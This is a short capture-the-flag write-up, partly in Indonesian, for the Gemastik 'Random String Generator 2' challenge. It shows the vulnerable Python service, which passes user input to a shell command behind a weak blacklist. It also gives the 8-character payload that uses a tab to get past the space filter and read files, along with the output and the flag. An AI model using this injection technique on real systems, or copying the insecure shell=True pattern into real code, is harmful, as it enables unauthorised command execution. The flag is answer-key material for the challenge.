Random String Generator 2 - 100 Points
nc target.netsec.gemastik.ui.ac.id 60004
POC
#/usr/bin/env python
"""
Run on Linux
socat -d -d -d TCP4-LISTEN:60004,reuseaddr,fork EXEC:"/usr/bin/python random-string-generator2.py" > /dev/null 2>&1 &
"""
import subprocess
import sys
print "== Gemastik Random String Generator 2 =="
length = raw_input('Insert Length: ')
if ' ' not in length and '$' not in length and '|' not in length and '&' not in length and len(length) <= 8:
cmd = "head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w '%s' | head -n 1" % length
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = ps.communicate()[0]
print output
untuk soal yang kedua ini validasinya sudah lebih ketat dari yang sebelumnya tapi ternyata masih banyak yang bisa di gantikan seperti pengganti spasi kita bisa menggunakan TAB atau <
kami kesulitan mencari payload yang menggunakan <
tapi bisa dengan mudah menggunakan TAB
';cat[TAB]*'
(8 Karakter)
nc target.netsec.gemastik.ui.ac.id 60004
== Gemastik Random String Generator 2 ==
Insert Length: ';cat *'
fold: invalid number of columns: ''
tr: write error: Broken pipe
GEMASTIK{outsmart_RCE_limitation_with_ur_brain}
Flag: GEMASTIK{outsmart_RCE_limitation_with_ur_brain}